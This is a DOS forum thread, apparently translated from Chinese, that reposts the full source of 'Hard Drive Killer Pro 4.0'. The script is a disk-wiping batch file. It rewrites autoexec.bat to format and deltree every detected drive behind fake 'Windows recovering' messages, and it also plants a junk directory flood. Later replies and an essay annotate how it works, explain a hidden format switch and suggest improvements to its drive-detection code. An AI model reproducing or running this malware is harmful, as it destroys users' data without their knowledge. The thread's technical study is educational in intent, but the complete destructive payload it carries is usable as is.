China DOS Union

Thanks everyone ：）, hope someone can write a complete analysis and annotation



.Hard Drive Killer Pro Version 4.0
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedicated to a very special person who does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d*amn too complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elapse to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elapse to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

[ Last edited by willsort on 2005-8-19 at 16:31 ]

You used me first and then said...

Oh, I really can't see clearly. It's calling this and that for a while, making me dizzy. Especially the parts with a bunch of %%%% signs, I don't understand. Hope to get help.

Just decompose the batch processing and execute each command one by one to understand what it means (it's best to try it in a virtual machine, heh heh)

Tip: First generate another batch file from the batch file and call it to obtain the hard disk partitions, then perform formatting and deletion operations. To make the program universal, perform operations with format and deltree respectively. And leave an operation flag file: ass_hole.txt

This program should run in the Win9x environment, and it should not run normally under NT/2k/xp/2k3.

The more complicated part is the part of obtaining the available drive letters in the system. I can't understand it. Even the author said that except for one named Tom Lavedas who can understand it, I'm afraid even batch masters can't understand it. It seems that we have to ask Brother Willsort to explain it.

The others are not very complicated, just execute them in segments.

I have roughly analyzed it. Please correct any improper parts, brothers:

The simplification part is as follows:

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

------------------------------------------------------------------
This section of the program generates the batch file drivechk.bat, and its content is:
@echo off
%comspec% /f /c vol %1: | find "Vol"

if errorlevel 1 goto enddc

The content of {t}.bat:
@prompt %%comspec%% /f /c vol %%1: $b find "Vol"
Function: Write the statement %comspec% /f /c vol %1: | find "Vol" into drivechk.bat

------------------------------------------------------------------

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

echo :enddc >>drivechk.bat

-----------------------------------------------------------------
Similar to the above, continue to write the drivechk.bat file until it is completed. The analysis is at the end
----------------------------------------------------------------
:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

---------------------------------------------------------------
Here comes the key part:
for %%a in (%alldrive%) do call drivechk.bat %%a
Remember? There is a statement at the beginning of the program:
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
This statement is to execute drivechk.bat with the above characters as parameters respectively. The part that returns the available drives is of course in drivechk.bat. Now let's analyze drivechk.bat. First, look at the content of the generated drivechk.bat:
@echo off
%comspec% /f /c vol %1: | find "Vol"

if errorlevel 1 goto enddc
%comspec% /f /c dir %1:.\/ad/w/-p | find "bytes"

if errorlevel 1 goto enddc
dir %1:.\/ad/w/-p | find " 0 bytes free"

if errorlevel 1 set drive=%drive% %1
:enddc

There are four parts:
1: Filter non-existent drive letters
Statement: %comspec% /f /c vol c: | find "Vol"

Determine whether the drive exists by searching for the volume label of the drive

2: Filter disk letters that do not need to be formatted as empty disks
Statement: %comspec% /f /c dir c:.\/ad/w/-p | find "bytes"

Obtain the remaining disk space by searching for bytes. This is necessary because the user may have an unused empty partition, and there is no need to format it.

3: Filter CD-ROM drive letters

Statement: dir c:.\/ad/w/-p | find " 0 bytes free"

Because the user may have put an empty disk in the CD drive, the above judgment will pass.

Note that the previous ones all exit with if errorlevel 1, here the physical hard drive has no return value errorlevel 1, so in 4, the drive letter is set.

4: Write the verified drive letter into the environment variable drive

if errorlevel 1 set drive=%drive% %1

-------------------------------------------------------------------------------------
The analysis is done, but I still have a question:

1. The program always uses format /autoSample to format the disk. Which system's format command does this autosample have?
2. There is also a part in the program: for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
Which system's attrib has the /S parameter in this part?

Admire, the analysis is very clear. I also don't understand how some of the commands in it run. Maybe there are hidden parameters.

I'm sorry, there are still places I don't understand, such as why several % signs are connected together? For example: prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
Can you give a specific explanation? Thank you to the friend above, heh heh

% is a parameter or reference parameter in DOS. Of course, it is used like this to output %commspec%. Because the program does two parameter substitutions, one in the prompt and one in call {t}.bat. Each time a pair of % signs is subtracted, so %%%%comspec%%%% uses three pairs, subtracting the two pairs used during the intermediate transformation, and only one pair of % signs is left in drivechk.bat. The situation of %%%%1 is similar.

Got it. Can you give a simple example?

What a classic thing. Download it and collect it.

Just now I searched in Google and果然found the original version of this batch processing. The one posted by the LZ doesn't seem to be the original. The original can be downloaded here: http://www.hackology.com/programs/hdkp/ginfo.shtml 1. The attrib command does have a /S parameter, which is the same meaning as the /S parameter in dir. The versions of ms-dos 7.10 (that is, the DOS of 98) and later versions all have this parameter. As for the previous versions, I don't have the system and can't check anymore. The following is attrib /? in Win2003. > attrib /?
Displays or changes file attributes. ATTRIB filename]
] + Sets attributes.
- Clears attributes.
R Read-only file attribute.
A Archive file attribute.
S System file attribute.
H Hidden file attribute.

Specifies the file attributes to process.
/S Processes matching files in the current folder and its subfolders.
/D Processes folders too. 2. The parameter of the format command in the original version is like this: format /q /u /autotest, not what /autoSample. This should be a hidden parameter. Because it can't be found from /?. Then I googled and found the following two websites, and as I expected, it's correct: http://www.pcdog.com/info/322.htm
http://study.99net.net/study/system/dos/1084945101.html

Thank you so much.

### Some Technical Discussions about HDKP
============================================================================

Author: Will Sort
Date: 2005-04-22
Version: 1-20050505
Keywords: HDKP, %comspec%, command interpreter, drive check, disk check, command line loop
Abstract: Relevant discussions on the algorithms and details of HDKP disk check and disk traversal

----------------------------------------------------------------------------

Background

Full name: Hard Drive Killer Pro
Version: The common version is 4.0 (including the bat version and the exe version compressed from bat), the latest version is 5.0beta
Author: Munga Bunga (Australia)
Date: The 4.0 version was finally completed in May 2001
Platform: According to the original author, this program can work in systems such as DOS/Win3.x/9x/NT/2000, applicable to 90% of computers in the world at that time, and there were no XP and 2003 at that time
Use: Destroy or "clean" all data on all hard disks, floppy disks and flash drives on the computer. Of course, because of its long history, most of the current popular anti-virus software can remove it.

----------------------------------------------------------------------------

Preamble

I first saw this batch program in the "Simple Tutorial on Batch Processing". The tutorial author listed this program as the finale in the wonderful program examples. At that time, because I had a considerable hostility to all programs with so-called Killer/Hacking and other words, I just glanced at it briefly and didn't read it carefully. Later, I saw the post posted by Brother "Shenxian Beibei" in the "United DOS Forum" reprinting this program, but for similar reasons, I still just flipped through to see if there were any noticeable replies, and then closed it casually, so that I didn't see Brother Climbing's invitation later.

In mid-April, I started to look through the old posts about batch processing in the "United DOS Forum". I saw the suggestion of "Study carefully" in Brother Climbing's top-sticked essence post index several times. Finally, I opened Brother "Shenxian Beibei"'s old post again. At this time, Brother wangsea had already completed the annotation work beautifully, and my task was just to simply enjoy the fruits of others' labor.

However, unfortunately, there are too many problems and loopholes in this program. Some problems, such as that invalid formatting switch /autoSample and :Sampledrv, obviously are not typos of the original author, but modified by someone with good intentions or a deliberate program; others, such as dedecated and elapse, I don't know if they are Australian dialects or the author's careless mistake; the remaining problems can definitely be attributed mainly to the author himself.

Of course, in order to be fair and universal for discussion, I found the original link of this program and tried to download it, but the download failed. I tried several other methods, but the versions found were no different from those of "Shenxian Beibei". Finally, I decided to still use the latter as the basis for discussion, so I am discussing only the merits and demerits of the code, not the author's merits and demerits.

----------------------------------------------------------------------------

Text

Undeniably, some advanced techniques are indeed used in the program. The most main embodiment of these techniques is the disk check program (drivechk.bat). But it should be noted that drivechk.bat is not originally created by the author himself. Its original author is Tom Lavedas , which is exactly the reason for the author's "Except for". However, maybe the author did not thoroughly understand this program and just made some simple modifications, or maybe the author quoted the early program of Lavedas, so there are some problems in this code.

The following is a section of the program that dynamically generates drivechk.bat

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

The purpose of this section is to write the following code into drivechk.bat. Brother wangsea has analyzed it, and I won't go into details.

%comspec% /f /c vol %1: | find "Vol" > nul
if errorlevel 1 goto enddc

First, the sentence "echo @echo off >drivechk.bat" is not necessary. Because drivechk.bat is a dynamically generated called program, when it is called by call, it will inherit the echo off state of the calling program.

Only when called by %comspec% /c, "echo off" may be needed, because %comspec% /c will create a new command interpretation environment, and the echo state in this new environment will be reset. Also because of this, the program can obtain the modified command line prompt through %comspec% /e:2048 /c {t}.bat, which is the statement to be written into drivechk.bat.

Second, "%%%%comspec%%%%" in the second line can be completely changed to "%comspec%". The role of "%%%%" is to delay the replacement of %comspec%, so that %comspec% is not replaced with the path of the command interpreter until drivechk.bat is executed; but this is unnecessary, because the called drivechk.bat and the calling program must run in the same environment, so there is no difference between late or early replacement.

Moreover, I suggest directly changing %comspec% to command. Because in the NT-like command line environment, %comspec% usually points to cmd.exe, which is very different from command.com. For example, the code pages in non-English systems are different, resulting in find "Vol" /c failure. And in the early MS-DOS environment, %comspec% may also point to non-standard command interpreters such as NDOS, and their switch parameters and execution outputs may all cause the %comspec% sentence to fail. The biggest problem of directly using command is that it is not in the current path or %Path% path, but that is almost impossible.

Third, "find "Vol" > nul" should be "find "Vol" $g nul", otherwise "> nul" will not be written into drivechk.bat, which may cause the message of find to "leak" when calling drivechk; and when the program is called, the author tries to avoid this hidden danger by "call drivechk.bat %%a >nul", but he may not be clear that this ">nul" is invalid for call batch processing.

Only when a batch processing is called by %comspec% /c, its output can be redirected or pipelined. But even so, there may be some outputs of executing vol %1: that cannot be shielded, such as the error message generated when accessing a non-existent or unprepared disk, because it uses error device output, not the standard console, so it is not pipelined. The solution is to add a pair of ctty nul and ctty con statements before and after %comspec% /c. However, ctty is only supported in MS-DOS and 9x command lines, and ctty is canceled in XP and other NT-like command lines. In such environments, only 2> nul can be used to redirect the error message.

Fourth, "if errorlevel 1 goto enddc" ignores many problems. In the MS-DOS or 9x command line, using vol to access an existing but unprepared disk will have Vol information output, but the program will not jump to the end at this time; in addition, it may access a read-only CD or flash drive, and there will also be Vol information output.

So, in order to remedy these two defects, the program later uses dir | find "bytes" to detect the preparation status and dir | find "0 bytes" to check the read-only CD. But the locked flash drive still cannot be correctly judged. Maybe the locking function of the flash drive was not common at that time.

The statement to detect whether the disk is readable can also be replaced with dir %1:\nul|find "\", and to check whether the disk is writable can use copy /y _writed_.tag %1: and if exist %1:_writed_.tag to judge . Of course, these statements still need to be run in the %comspec% /f/c shell. However, there are still some problems we can't think of, such as I can only create and modify files in the shared disk of the virtual PC, but can't delete it. Other such as network disks, memory virtual disks, etc., I haven't discussed them in more detail. In these details, professional programs may do better.

Fifth, there is also a relatively simple technique in the program, which is the traversal of disks in :Sampledrv. For using the For statement for loop-type traversal, it may be the convention of batch processing programming. However, this convention may not be the optimal in some cases.

In fact, in the early period, some people used a more flexible command line loop to handle many problems that For is difficult to solve. For example, when there are multiple statements after do, we must put these statements in a batch processing to be called by call. However, the characteristics of for determine that it is called multiple times during operation, and the superiority of the command line loop is that it only needs to call once, and the remaining are just shift and goto inside the program. This saves a lot of performance, because call occupies more performance resources than shift and goto.

Sixth, we discuss the necessity of dynamically generating drivechk.bat. Here, it is not the necessity of drivechk.bat, but the necessity of dynamic generation. We can guess that the main purpose of the program to go to so much trouble to dynamically generate this code instead of embedding it statically in the main program is that it can use it for the cyclic traversal of disk checks. However, maybe the author did not notice or realize that the same task can be completed with static code. This means that all the detours the program takes in writing drivechk.bat are unnecessary. We can completely find a more direct and short road.

Embed the code that the program needs to use multiple times as a module into itself, and then call this module repeatedly to achieve the effect similar to calling dynamic code. The popular understanding of the module is a whole section of code starting with a label and ending with goto end. And calling this module only needs to cooperate with call %0 : lablename and if "%1"==":" goto %2.

Structure of the calling program

...

:: Call-type call itself

call %0 : labelname

...

:: Goto-type call itself

%0 : lablename

...

:: Call-type call other Bat

call bat_name : labelname

...

:: Goto-type call other Bat

bat_name : lablename

...

Structure of the called program (may also be the calling program)

@echo off

if "%1"==":" goto %2

...

:labelname

:: Code segment of the module

...

goto end

...

:end

----------------------------------------------------------------------------

Conclusion

The purpose of me writing this article, as I mentioned in the abstract, is to try to discuss some technical characteristics and details about disk check and command line loop, not to provide technical support for HDKP or similar non-goodwill programs. Regarding the writing purpose of HDKP, I personally still hold an opposing attitude. This program is probably as the author hopes, only useful for "a very special person that does not want to be named". For me, it is just an imperfect combination of technology and conception.

I know that there are already professional third-party programs that can realize the disk check function, such as dready.com. However, as a technical category of batch processing programming, discussing it is still beneficial. It can help us understand the system working principle more deeply and be familiar with the environment we are working in. In addition, as for batch processing, it still has considerable advantages and values without relying on third-party programs.

----------------------------------------------------------------------------

References:

01. I hope some friend can write a complete annotation for this batch processing file
　　http://www.cn-dos.net/dosbbs/dispbbs.asp?boardid=9&id=12892

02. DOS Union Forum Q&A Essence Post Index
　　http://bbs.cn-dos.net/dispbbs.asp?boardid=9&id=13226

03. Hard Drive Killer Pro (HDKP) - The Hackology Network
　　http://www.hackology.com/programs/hdkp/ginfo.shtml

04. Safely Testing the Status of All Types of Drives - Tom Lavedas
　　http://www.pressroom.com/~tglbatch/testdrv.html

05. Avoiding Drive Not Ready - alt.msdos.batch
　　http://groups-beta.google.com/group/alt.msdos.batch/browse_thread/thread/
　　 df0213182e13de5b/fa2abe726f972567?q=%22:_end%22+label+name&rnum=2&hl=en
=============================================================================

[ Last edited by willsort on 2005-8-19 at 16:25 ]